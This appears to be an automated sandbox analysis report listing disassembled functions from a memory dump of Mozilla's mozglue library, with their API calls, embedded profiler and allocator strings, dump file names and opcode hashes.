MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C672F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C673214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C673242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6736BF

Strings

get , xrefs: 6C673205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C67378D
set , xrefs: 6C6736EC

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 38122e7ffb84b4ac9c1f13270a6744365433844a883d62e86326acbae7fe2550
Instruction ID: 3739cf1829e5cb0158b0f747ad6abb3362bfb3db17e3f95bbf3848b7e1bf385b
Opcode Fuzzy Hash: 38122e7ffb84b4ac9c1f13270a6744365433844a883d62e86326acbae7fe2550
Instruction Fuzzy Hash: CD324F706083818FD724CF24C4906AEB7E2AFCA318F548D2DE59987751DB31D94ACB6B

Function 6C667E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C667E88
name, xrefs: 6C667ECF, 6C668335
vjl, xrefs: 6C668207
schema, xrefs: 6C6681E3, 6C668311
data, xrefs: 6C668280, 6C6683E1

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vjl
API String ID: 3412268980-209036413
Opcode ID: 4f73ee56179a17cbca045d21d2c46836123608717ae411ee2184f6d5a37db91e
Instruction ID: 395a1ffdeaebcc32bd9ec71026a87a015814678b858d48530fac9ef1067e2886
Opcode Fuzzy Hash: 4f73ee56179a17cbca045d21d2c46836123608717ae411ee2184f6d5a37db91e
Instruction Fuzzy Hash: 3EE18EB1A043558BC710CF69884065BFBE9FFC5314F14892DE899DB790DBB0DD0A8B9A

Function 6C685FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C686009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C686024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qbl,?), ref: 6C686046
OutputDebugStringA.KERNEL32(?,Qbl,?), ref: 6C686061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C686069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C686073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C686082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C6A148E), ref: 6C686091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qbl,00000000,?), ref: 6C6860BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6860C4

Strings

Qbl, xrefs: 6C685FFC, 6C686042, 6C686045, 6C6860B3

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qbl
API String ID: 3835517998-1204567334
Opcode ID: a45df5b5560623e015cc4b484af13880eda0ad8040cabeb0da79c5a04ffba719
Instruction ID: 2d4285b5747f7a05644e6441a61fb45c70914a43383169c7ddafcd448abc04a7
Opcode Fuzzy Hash: a45df5b5560623e015cc4b484af13880eda0ad8040cabeb0da79c5a04ffba719
Instruction Fuzzy Hash: 5621E771A0020C9FDB105F65EC48AAE7BB8FF86318F048468E91A97241CB75B559CFED

Function 6C645E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C645EDB
memset.VCRUNTIME140(ewhl,000000E5,?), ref: 6C645F27
LeaveCriticalSection.KERNEL32(?), ref: 6C645FB2
memset.VCRUNTIME140(ewhl,000000E5,?), ref: 6C6461F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C647652

Strings

ewhl, xrefs: 6C645E9C, 6C645F22, 6C6461ED
MOZ_CRASH(), xrefs: 6C647BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C64730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C647BCD, 6C647C1F, 6C647C34, 6C6480FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6472F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6472E3

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewhl
API String ID: 2613674957-186616171
Opcode ID: 3673bbb65f379dbb9d2b051cfd0ae17ba982d46b08490b8bff1e422d946b5498
Instruction ID: 5a60753494e5dab3526ef155ed481bb5f02e4c465c207cb2e2d1a04f3ff7a1e7
Opcode Fuzzy Hash: 3673bbb65f379dbb9d2b051cfd0ae17ba982d46b08490b8bff1e422d946b5498
Instruction Fuzzy Hash: 0B338C716067018FD308CF28C590615BBE2BF85328F29C7ADE9698F7A5D771E841CB89

Function 6C674820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C674D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C674DB8, 6C674DD8
-%llu, xrefs: 6C674825
jl, xrefs: 6C674F88
ProfileBuffer parse error: %s, xrefs: 6C674DD9
schema, xrefs: 6C6748C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C674D0A
data, xrefs: 6C6749B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C674CAF

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free
String ID: jl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-2163308203
Opcode ID: 1a92a16d17d41c52abdfdb3d706d71178aed0723adcd683f6070fb999206bee3
Instruction ID: 07a2fefe2d9d7c5e568f2eb0b764220ffa8bf93c08f846dc2a1d26451ba030ac
Opcode Fuzzy Hash: 1a92a16d17d41c52abdfdb3d706d71178aed0723adcd683f6070fb999206bee3
Instruction Fuzzy Hash: BC720A71918B858BD362CF34C4513ABF7E5AFDA344F108F1DE48A6B610EB70A486DB46

Function 6C64D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C65D1C5), ref: 6C64D4F2
LeaveCriticalSection.KERNEL32(6C6AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C65D1C5), ref: 6C64D50B

Part of subcall function 6C62CFE0: EnterCriticalSection.KERNEL32(6C6AE784), ref: 6C62CFF6
Part of subcall function 6C62CFE0: LeaveCriticalSection.KERNEL32(6C6AE784), ref: 6C62D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C65D1C5), ref: 6C64D52E
EnterCriticalSection.KERNEL32(6C6AE7DC), ref: 6C64D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C64D6A6
LeaveCriticalSection.KERNEL32(6C6AE7DC), ref: 6C64D712
LeaveCriticalSection.KERNEL32(6C6AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C65D1C5), ref: 6C64D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C64D7EA

Strings

<jemalloc>, xrefs: 6C64D827
: (malloc) Error initializing arena, xrefs: 6C64D82C

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: dbbe2233ce06c7baad8fbcc5b1c6d518399a17f865cc5b3111e3948de2ebce35
Instruction ID: 1fd177845c786c8d8295a248292b8e5722c781cc07c418b6bbb9f4ab9339dd1f
Opcode Fuzzy Hash: dbbe2233ce06c7baad8fbcc5b1c6d518399a17f865cc5b3111e3948de2ebce35
Instruction Fuzzy Hash: 89919271E047018FD718CF69C49076AB7E1FB8A318F15C92EE55A87B81DB30E855CB8A

Function 6C684EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C684EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C684F2E
moz_xmalloc.MOZGLUE ref: 6C684F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C684F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6852B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6852E6
Sleep.KERNEL32(00000010), ref: 6C685481
free.MOZGLUE(?), ref: 6C685498

Strings

(, xrefs: 6C685250

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 908094552a12b7fcc1cb9b2ff253b8422beb7d83fc75308075b4c94feb0e9881
Instruction ID: 24c61e0504be9183d066ba97f3cba1bc9d524aa3a90c162d5f879efa3ebb5191
Opcode Fuzzy Hash: 908094552a12b7fcc1cb9b2ff253b8422beb7d83fc75308075b4c94feb0e9881
Instruction Fuzzy Hash: 3DF1D171A19B018FC716CF39C89062BB7F5AFD7384F05872EF846A7651DB3194428B86

Function 6C687030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C687046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C687060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C68707E

Part of subcall function 6C6381B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6381DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C687096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C68709C
LocalFree.KERNEL32(?), ref: 6C6870AA

Strings

(null), xrefs: 6C68706A, 6C687083
### ERROR: %s: %s, xrefs: 6C687087

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: aedb5e4118e9680a886c357083aee075ff701fdea1e8e235903ce036195593d9
Instruction ID: 90c9428f86b14ee6eccdd8204d8d944dae7aba922e81472549dc058ae9ebdbe6
Opcode Fuzzy Hash: aedb5e4118e9680a886c357083aee075ff701fdea1e8e235903ce036195593d9
Instruction Fuzzy Hash: 7B01B9B1A00108AFDB005BE6EC4ADAF7FBCEF8A254F050425FA06E3241D67179148BE9

Function 6C649E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C649EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C649F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C649F34
LeaveCriticalSection.KERNEL32(?), ref: 6C64A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C64A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C64A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C64A8B1, 6C64A8D4, 6C64A8EF

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 79e270111f0139da8bb9d4dd8b767ab447c02a309e27380fcd8a43afc79d774b
Instruction ID: 7b2cf2c1e8d69d5d38449304f3d863f486811ea01b721c81ef2b16804e5bdca1
Opcode Fuzzy Hash: 79e270111f0139da8bb9d4dd8b767ab447c02a309e27380fcd8a43afc79d774b
Instruction Fuzzy Hash: BC727A72A056119FD318CF28C540615FBE1FF89728F29C76DE8699B792D335E842CB84

Function 6C672C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C672C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C672C61

Part of subcall function 6C624DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C624E5A
Part of subcall function 6C624DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C624E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C672C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C672E2D

Part of subcall function 6C6381B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6381DE

Strings

expected a Time entry, xrefs: 6C672E36
(root), xrefs: 6C67354F
ProfileBuffer parse error: %s, xrefs: 6C672E3B

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 731f26fb866f77dc18d3f5e00c40e4b2c9bef48d9892108ec85041533d0762c2
Instruction ID: 0d2389920db6de1dbacec6eedd4ad99c414fe5048e648497e29e327b3ce043fe
Opcode Fuzzy Hash: 731f26fb866f77dc18d3f5e00c40e4b2c9bef48d9892108ec85041533d0762c2
Instruction Fuzzy Hash: 1A91CF70608781CFD724CF24C48469EB7E1AFCA358F504D2DE59A8B751DB30D949CB6A

Function 6C689E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C689F3D
__aulldiv.LIBCMT ref: 6C689F77
__aullrem.LIBCMT ref: 6C689F8C
__aulldiv.LIBCMT ref: 6C68A023

Strings

-Infinity, xrefs: 6C689E60, 6C689E7B
NaN, xrefs: 6C689EAB

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: e1d60c25262d987e0ef0d5250b63737920514419ea853a95b7817a40b4831291
Instruction ID: cafaaab0f434a43a5714e9c494feb9305fdc12e7a059608f9c45f33e560d9746
Opcode Fuzzy Hash: e1d60c25262d987e0ef0d5250b63737920514419ea853a95b7817a40b4831291
Instruction Fuzzy Hash: C8C1D331E053188BDB14CFA8C8507DEB7B6FF85308F144529D846ABB81D770AD49CBA9

Function 6C62D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6C62DAF6
0, xrefs: 6C62DC7F
0, xrefs: 6C62D852
, xrefs: 6C62DA88
-, xrefs: 6C62D7DD
9, xrefs: 6C62DE7F
8, xrefs: 6C62DC08
1, xrefs: 6C62DBDD

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: bac305957b06215c9930fb91d6a5e27c6636c6254e7af3952f7e7c8e9198edbf
Instruction ID: 705144c81b6e338683e9e8cab7ac312e4e1693b5b52e2dda242a9f24327a8d7e
Opcode Fuzzy Hash: bac305957b06215c9930fb91d6a5e27c6636c6254e7af3952f7e7c8e9198edbf
Instruction Fuzzy Hash: 2462BD7160C3858FD711CE19C09079ABBF2AF86358F184A1DE8E55BA91C37D9885CF8A

Function 6C69545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C698A4B

Strings

~qbl, xrefs: 6C699459, 6C699269, 6C695703, 6C695740, 6C69921F, 6C6956C7, 6C69948F

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memset
String ID: ~qbl
API String ID: 2221118986-3965202050
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 45f7e117f317aff55c6b816e47276838cc1c1c86e1014cf1a56114ac7ee424ec
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 5AB1F872E0521B8FDB14CF68CC907E8B7B2EF85314F1802A9C549EB791D7309989CB95

Function 6C69542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6988F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C69925C

Strings

~qbl, xrefs: 6C699459, 6C699269, 6C695703, 6C695740, 6C69921F, 6C6956C7, 6C69948F

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memset
String ID: ~qbl
API String ID: 2221118986-3965202050
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 4ac4dcdd6c8c3bdf06331fc863b76da576d48753940b9075089f56bc7eb98db3
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 43B1C572E0420B8FCB14CF68CC816EDB7B2AF85314F14027AC949EB795D730A989CB94

Function 6C68C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C68C0E9), ref: 6C68C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C68C437
FreeLibrary.KERNEL32(?,6C68C0E9), ref: 6C68C44C

Strings

ntdll.dll, xrefs: 6C68C413
NtQueryVirtualMemory, xrefs: 6C68C431

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 4f99eb09ede3e1ffcb5bfdf3037139e8360d260ff94f3e29ddb7c460bb8a13a1
Instruction ID: 204b6c79222995c1f0e2c02e6126c4889fa83fb97f3865ab4842aae58f68f712
Opcode Fuzzy Hash: 4f99eb09ede3e1ffcb5bfdf3037139e8360d260ff94f3e29ddb7c460bb8a13a1
Instruction Fuzzy Hash: 3FE0B670701305ABDF047FF3E998719BBF8BB46744F004216AA0591611EBB0E4428B5F

